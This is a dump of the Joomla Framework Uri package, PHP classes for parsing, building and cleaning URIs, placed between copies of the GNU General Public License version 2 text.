	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework Uri Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Uri;

/**
 * Uri Class
 *
 * Abstract base for out uri classes.
 *
 * This class should be considered an implementation detail. Typehint
against UriInterface.
 *
 * @since  1.0
 */
abstract class AbstractUri implements UriInterface
{
	/**
	 * @var    string  Original URI
	 * @since  1.0
	 */
	protected $uri = null;

	/**
	 * @var    string  Protocol
	 * @since  1.0
	 */
	protected $scheme = null;

	/**
	 * @var    string  Host
	 * @since  1.0
	 */
	protected $host = null;

	/**
	 * @var    integer  Port
	 * @since  1.0
	 */
	protected $port = null;

	/**
	 * @var    string  Username
	 * @since  1.0
	 */
	protected $user = null;

	/**
	 * @var    string  Password
	 * @since  1.0
	 */
	protected $pass = null;

	/**
	 * @var    string  Path
	 * @since  1.0
	 */
	protected $path = null;

	/**
	 * @var    string  Query
	 * @since  1.0
	 */
	protected $query = null;

	/**
	 * @var    string  Anchor
	 * @since  1.0
	 */
	protected $fragment = null;

	/**
	 * @var    array  Query variable hash
	 * @since  1.0
	 */
	protected $vars = array();

	/**
	 * Constructor.
	 * You can pass a URI string to the constructor to initialise a specific
URI.
	 *
	 * @param   string  $uri  The optional URI string
	 *
	 * @since   1.0
	 */
	public function __construct($uri = null)
	{
		if (!\is_null($uri))
		{
			$this->parse($uri);
		}
	}

	/**
	 * Magic method to get the string representation of the URI object.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public function __toString()
	{
		return $this->toString();
	}

	/**
	 * Returns full uri string.
	 *
	 * @param   array  $parts  An array of strings specifying the parts to
render.
	 *
	 * @return  string  The rendered URI string.
	 *
	 * @since   1.0
	 */
	public function toString(array $parts = array('scheme',
'user', 'pass', 'host', 'port',
'path', 'query', 'fragment'))
	{
		$bitmask = 0;

		foreach ($parts as $part)
		{
			$const = 'static::' . strtoupper($part);

			if (\defined($const))
			{
				$bitmask |= constant($const);
			}
		}

		return $this->render($bitmask);
	}

	/**
	 * Returns full uri string.
	 *
	 * @param   integer  $parts  A bitmask specifying the parts to render.
	 *
	 * @return  string  The rendered URI string.
	 *
	 * @since   1.2.0
	 */
	public function render($parts = self::ALL)
	{
		// Make sure the query is created
		$query = $this->getQuery();

		$uri = '';
		$uri .= $parts & static::SCHEME ? (!empty($this->scheme) ?
$this->scheme . '://' : '') : '';
		$uri .= $parts & static::USER ? $this->user : '';
		$uri .= $parts & static::PASS ? (!empty($this->pass) ?
':' : '') . $this->pass . (!empty($this->user) ?
'@' : '') : '';
		$uri .= $parts & static::HOST ? $this->host : '';
		$uri .= $parts & static::PORT ? (!empty($this->port) ?
':' : '') . $this->port : '';
		$uri .= $parts & static::PATH ? $this->path : '';
		$uri .= $parts & static::QUERY ? (!empty($query) ? '?' .
$query : '') : '';
		$uri .= $parts & static::FRAGMENT ? (!empty($this->fragment) ?
'#' . $this->fragment : '') : '';

		return $uri;
	}

	/**
	 * Checks if variable exists.
	 *
	 * @param   string  $name  Name of the query variable to check.
	 *
	 * @return  boolean  True if the variable exists.
	 *
	 * @since   1.0
	 */
	public function hasVar($name)
	{
		return array_key_exists($name, $this->vars);
	}

	/**
	 * Returns a query variable by name.
	 *
	 * @param   string  $name     Name of the query variable to get.
	 * @param   string  $default  Default value to return if the variable is
not set.
	 *
	 * @return  mixed   Value of the specified query variable.
	 *
	 * @since   1.0
	 */
	public function getVar($name, $default = null)
	{
		if (array_key_exists($name, $this->vars))
		{
			return $this->vars[$name];
		}

		return $default;
	}

	/**
	 * Returns flat query string.
	 *
	 * @param   boolean  $toArray  True to return the query as a key =>
value pair array.
	 *
	 * @return  string|array   Query string or Array of parts in query string
depending on the function param
	 *
	 * @since   1.0
	 */
	public function getQuery($toArray = false)
	{
		if ($toArray)
		{
			return $this->vars;
		}

		// If the query is empty build it first
		if (\is_null($this->query))
		{
			$this->query = self::buildQuery($this->vars);
		}

		return $this->query;
	}

	/**
	 * Get URI scheme (protocol)
	 * ie. http, https, ftp, etc...
	 *
	 * @return  string  The URI scheme.
	 *
	 * @since   1.0
	 */
	public function getScheme()
	{
		return $this->scheme;
	}

	/**
	 * Get URI username
	 * Returns the username, or null if no username was specified.
	 *
	 * @return  string  The URI username.
	 *
	 * @since   1.0
	 */
	public function getUser()
	{
		return $this->user;
	}

	/**
	 * Get URI password
	 * Returns the password, or null if no password was specified.
	 *
	 * @return  string  The URI password.
	 *
	 * @since   1.0
	 */
	public function getPass()
	{
		return $this->pass;
	}

	/**
	 * Get URI host
	 * Returns the hostname/ip or null if no hostname/ip was specified.
	 *
	 * @return  string  The URI host.
	 *
	 * @since   1.0
	 */
	public function getHost()
	{
		return $this->host;
	}

	/**
	 * Get URI port
	 * Returns the port number, or null if no port was specified.
	 *
	 * @return  integer  The URI port number.
	 *
	 * @since   1.0
	 */
	public function getPort()
	{
		return (isset($this->port)) ? $this->port : null;
	}

	/**
	 * Gets the URI path string.
	 *
	 * @return  string  The URI path string.
	 *
	 * @since   1.0
	 */
	public function getPath()
	{
		return $this->path;
	}

	/**
	 * Get the URI anchor string
	 * Everything after the "#".
	 *
	 * @return  string  The URI anchor string.
	 *
	 * @since   1.0
	 */
	public function getFragment()
	{
		return $this->fragment;
	}

	/**
	 * Checks whether the current URI is using HTTPS.
	 *
	 * @return  boolean  True if using SSL via HTTPS.
	 *
	 * @since   1.0
	 */
	public function isSsl()
	{
		return $this->getScheme() == 'https' ? true : false;
	}

	/**
	 * Build a query from an array (reverse of the PHP parse_str()).
	 *
	 * @param   array  $params  The array of key => value pairs to return
as a query string.
	 *
	 * @return  string  The resulting query string.
	 *
	 * @see     parse_str()
	 * @since   1.0
	 */
	protected static function buildQuery(array $params)
	{
		return urldecode(http_build_query($params, '',
'&'));
	}

	/**
	 * Parse a given URI and populate the class fields.
	 *
	 * @param   string  $uri  The URI string to parse.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.0
	 */
	protected function parse($uri)
	{
		// Set the original URI to fall back on
		$this->uri = $uri;

		/*
		 * Parse the URI and populate the object fields. If URI is parsed
properly,
		 * set method return value to true.
		 */

		$parts = UriHelper::parse_url($uri);

		$retval = ($parts) ? true : false;

		// We need to replace &amp; with & for parse_str to work right...
		if (isset($parts['query']) &&
strpos($parts['query'], '&amp;'))
		{
			$parts['query'] = str_replace('&amp;',
'&', $parts['query']);
		}

		$this->scheme   = isset($parts['scheme']) ?
$parts['scheme'] : null;
		$this->user     = isset($parts['user']) ?
$parts['user'] : null;
		$this->pass     = isset($parts['pass']) ?
$parts['pass'] : null;
		$this->host     = isset($parts['host']) ?
$parts['host'] : null;
		$this->port     = isset($parts['port']) ?
$parts['port'] : null;
		$this->path     = isset($parts['path']) ?
$parts['path'] : null;
		$this->query    = isset($parts['query']) ?
$parts['query'] : null;
		$this->fragment = isset($parts['fragment']) ?
$parts['fragment'] : null;

		// Parse the query
		if (isset($parts['query']))
		{
			parse_str($parts['query'], $this->vars);
		}

		return $retval;
	}

	/**
	 * Resolves //, ../ and ./ from a path and returns
	 * the result. Eg:
	 *
	 * /foo/bar/../boo.php	=> /foo/boo.php
	 * /foo/bar/../../boo.php => /boo.php
	 * /foo/bar/.././/boo.php => /foo/boo.php
	 *
	 * @param   string  $path  The URI path to clean.
	 *
	 * @return  string  Cleaned and resolved URI path.
	 *
	 * @since   1.0
	 */
	protected function cleanPath($path)
	{
		$path = explode('/', preg_replace('#(/+)#',
'/', $path));

		for ($i = 0, $n = \count($path); $i < $n; $i++)
		{
			if ($path[$i] == '.' || $path[$i] == '..')
			{
				if (($path[$i] == '.') || ($path[$i] == '..'
&& $i == 1 && $path[0] == ''))
				{
					unset($path[$i]);
					$path = array_values($path);
					$i--;
					$n--;
				}
				elseif ($path[$i] == '..' && ($i > 1 || ($i == 1
&& $path[0] != '')))
				{
					unset($path[$i]);
					unset($path[$i - 1]);
					$path = array_values($path);
					$i -= 2;
					$n -= 2;
				}
			}
		}

		return implode('/', $path);
	}
}
<?php
/**
 * Part of the Joomla Framework Uri Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Uri;

/**
 * Uri Class
 *
 * This class parses a URI and provides a common interface for the Joomla
Framework
 * to access and manipulate a URI.
 *
 * @since  1.0
 */
class Uri extends AbstractUri
{
	/**
	 * Adds a query variable and value, replacing the value if it
	 * already exists and returning the old value.
	 *
	 * @param   string  $name   Name of the query variable to set.
	 * @param   string  $value  Value of the query variable.
	 *
	 * @return  string  Previous value for the query variable.
	 *
	 * @since   1.0
	 */
	public function setVar($name, $value)
	{
		$tmp = isset($this->vars[$name]) ? $this->vars[$name] : null;

		$this->vars[$name] = $value;

		// Empty the query
		$this->query = null;

		return $tmp;
	}

	/**
	 * Removes an item from the query string variables if it exists.
	 *
	 * @param   string  $name  Name of variable to remove.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function delVar($name)
	{
		if (array_key_exists($name, $this->vars))
		{
			unset($this->vars[$name]);

			// Empty the query
			$this->query = null;
		}
	}

	/**
	 * Sets the query to a supplied string in format:
	 * foo=bar&x=y
	 *
	 * @param   mixed  $query  The query string or array.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function setQuery($query)
	{
		if (\is_array($query))
		{
			$this->vars = $query;
		}
		else
		{
			if (strpos($query, '&amp;') !== false)
			{
				$query = str_replace('&amp;', '&', $query);
			}

			parse_str($query, $this->vars);
		}

		// Empty the query
		$this->query = null;
	}

	/**
	 * Set URI scheme (protocol)
	 * ie. http, https, ftp, etc...
	 *
	 * @param   string  $scheme  The URI scheme.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function setScheme($scheme)
	{
		$this->scheme = $scheme;
	}

	/**
	 * Set URI username.
	 *
	 * @param   string  $user  The URI username.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function setUser($user)
	{
		$this->user = $user;
	}

	/**
	 * Set URI password.
	 *
	 * @param   string  $pass  The URI password.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function setPass($pass)
	{
		$this->pass = $pass;
	}

	/**
	 * Set URI host.
	 *
	 * @param   string  $host  The URI host.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function setHost($host)
	{
		$this->host = $host;
	}

	/**
	 * Set URI port.
	 *
	 * @param   integer  $port  The URI port number.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function setPort($port)
	{
		$this->port = $port;
	}

	/**
	 * Set the URI path string.
	 *
	 * @param   string  $path  The URI path string.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function setPath($path)
	{
		$this->path = $this->cleanPath($path);
	}

	/**
	 * Set the URI anchor string
	 * everything after the "#".
	 *
	 * @param   string  $anchor  The URI anchor string.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function setFragment($anchor)
	{
		$this->fragment = $anchor;
	}
}
<?php
/**
 * Part of the Joomla Framework Uri Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Uri;

/**
 * Uri Helper
 *
 * This class provides a UTF-8 safe version of parse_url().
 *
 * @since  1.0
 */
class UriHelper
{
	/**
	 * Does a UTF-8 safe version of PHP parse_url function
	 *
	 * @param   string  $url  URL to parse
	 *
	 * @return  mixed  Associative array or false if badly formed URL.
	 *
	 * @link    https://secure.php.net/manual/en/function.parse-url.php
	 * @since   1.0
	 */
	public static function parse_url($url)
	{
		$result = false;

		// Build arrays of values we need to decode before parsing
		$entities = array('%21', '%2A', '%27',
'%28', '%29', '%3B', '%3A',
'%40', '%26', '%3D', '%24',
'%2C', '%2F', '%3F', '%23',
'%5B', '%5D');
		$replacements = array('!', '*', "'",
"(", ")", ";", ":", "@",
"&", "=", "$", ",",
"/", "?", "#", "[", "]");

		// Create encoded URL with special URL characters decoded so it can be
parsed
		// All other characters will be encoded
		$encodedURL = str_replace($entities, $replacements, urlencode($url));

		// Parse the encoded URL
		$encodedParts = parse_url($encodedURL);

		// Now, decode each value of the resulting array
		if ($encodedParts)
		{
			foreach ($encodedParts as $key => $value)
			{
				$result[$key] = urldecode(str_replace($replacements, $entities,
$value));
			}
		}

		return $result;
	}
}
<?php
/**
 * Part of the Joomla Framework Uri Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Uri;

/**
 * Uri Class
 *
 * This is an immutable version of the uri class.
 *
 * @since  1.0
 */
final class UriImmutable extends AbstractUri
{
	/**
	 * @var    boolean  Has this class been instantiated yet.
	 * @since  1.0
	 */
	private $constructed = false;

	/**
	 * Prevent setting undeclared properties.
	 *
	 * @param   string  $name   This is an immutable object, setting $name is
not allowed.
	 * @param   mixed   $value  This is an immutable object, setting $value is
not allowed.
	 *
	 * @return  void  This method always throws an exception.
	 *
	 * @since   1.0
	 * @throws  \BadMethodCallException
	 */
	public function __set($name, $value)
	{
		throw new \BadMethodCallException('This is an immutable
object');
	}

	/**
	 * This is a special constructor that prevents calling the __construct
method again.
	 *
	 * @param   string  $uri  The optional URI string
	 *
	 * @since   1.0
	 * @throws  \BadMethodCallException
	 */
	public function __construct($uri = null)
	{
		if ($this->constructed === true)
		{
			throw new \BadMethodCallException('This is an immutable
object');
		}

		$this->constructed = true;

		parent::__construct($uri);
	}
}
<?php
/**
 * Part of the Joomla Framework Uri Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Uri;

/**
 * Uri Interface
 *
 * Interface for read-only access to Uris.
 *
 * @since  1.0
 */
interface UriInterface
{
	/**
	 * Include the scheme (http, https, etc.)
	 *
	 * @var    integer
	 * @since  1.2.0
	 */
	const SCHEME = 1;

	/**
	 * Include the user
	 *
	 * @var    integer
	 * @since  1.2.0
	 */
	const USER = 2;

	/**
	 * Include the password
	 *
	 * @var    integer
	 * @since  1.2.0
	 */
	const PASS = 4;

	/**
	 * Include the host
	 *
	 * @var    integer
	 * @since  1.2.0
	 */
	const HOST = 8;

	/**
	 * Include the port
	 *
	 * @var    integer
	 * @since  1.2.0
	 */
	const PORT = 16;

	/**
	 * Include the path
	 *
	 * @var    integer
	 * @since  1.2.0
	 */
	const PATH = 32;

	/**
	 * Include the query string
	 *
	 * @var    integer
	 * @since  1.2.0
	 */
	const QUERY = 64;

	/**
	 * Include the fragment
	 *
	 * @var    integer
	 * @since  1.2.0
	 */
	const FRAGMENT = 128;

	/**
	 * Include all available url parts (scheme, user, pass, host, port, path,
query, fragment)
	 *
	 * @var    integer
	 * @since  1.2.0
	 */
	const ALL = 255;

	/**
	 * Magic method to get the string representation of the URI object.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public function __toString();

	/**
	 * Returns full uri string.
	 *
	 * @param   array  $parts  An array of strings specifying the parts to
render.
	 *
	 * @return  string  The rendered URI string.
	 *
	 * @since   1.0
	 */
	public function toString(array $parts = array('scheme',
'user', 'pass', 'host', 'port',
'path', 'query', 'fragment'));

	/**
	 * Checks if variable exists.
	 *
	 * @param   string  $name  Name of the query variable to check.
	 *
	 * @return  boolean  True if the variable exists.
	 *
	 * @since   1.0
	 */
	public function hasVar($name);

	/**
	 * Returns a query variable by name.
	 *
	 * @param   string  $name     Name of the query variable to get.
	 * @param   string  $default  Default value to return if the variable is
not set.
	 *
	 * @return  array   Query variables.
	 *
	 * @since   1.0
	 */
	public function getVar($name, $default = null);

	/**
	 * Returns flat query string.
	 *
	 * @param   boolean  $toArray  True to return the query as a key =>
value pair array.
	 *
	 * @return  string   Query string.
	 *
	 * @since   1.0
	 */
	public function getQuery($toArray = false);

	/**
	 * Get URI scheme (protocol)
	 * ie. http, https, ftp, etc...
	 *
	 * @return  string  The URI scheme.
	 *
	 * @since   1.0
	 */
	public function getScheme();

	/**
	 * Get URI username
	 * Returns the username, or null if no username was specified.
	 *
	 * @return  string  The URI username.
	 *
	 * @since   1.0
	 */
	public function getUser();

	/**
	 * Get URI password
	 * Returns the password, or null if no password was specified.
	 *
	 * @return  string  The URI password.
	 *
	 * @since   1.0
	 */
	public function getPass();

	/**
	 * Get URI host
	 * Returns the hostname/ip or null if no hostname/ip was specified.
	 *
	 * @return  string  The URI host.
	 *
	 * @since   1.0
	 */
	public function getHost();

	/**
	 * Get URI port
	 * Returns the port number, or null if no port was specified.
	 *
	 * @return  integer  The URI port number.
	 *
	 * @since   1.0
	 */
	public function getPort();

	/**
	 * Gets the URI path string.
	 *
	 * @return  string  The URI path string.
	 *
	 * @since   1.0
	 */
	public function getPath();

	/**
	 * Get the URI archor string
	 * Everything after the "#".
	 *
	 * @return  string  The URI anchor string.
	 *
	 * @since   1.0
	 */
	public function getFragment();

	/**
	 * Checks whether the current URI is using HTTPS.
	 *
	 * @return  boolean  True if using SSL via HTTPS.
	 *
	 * @since   1.0
	 */
	public function isSsl();
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

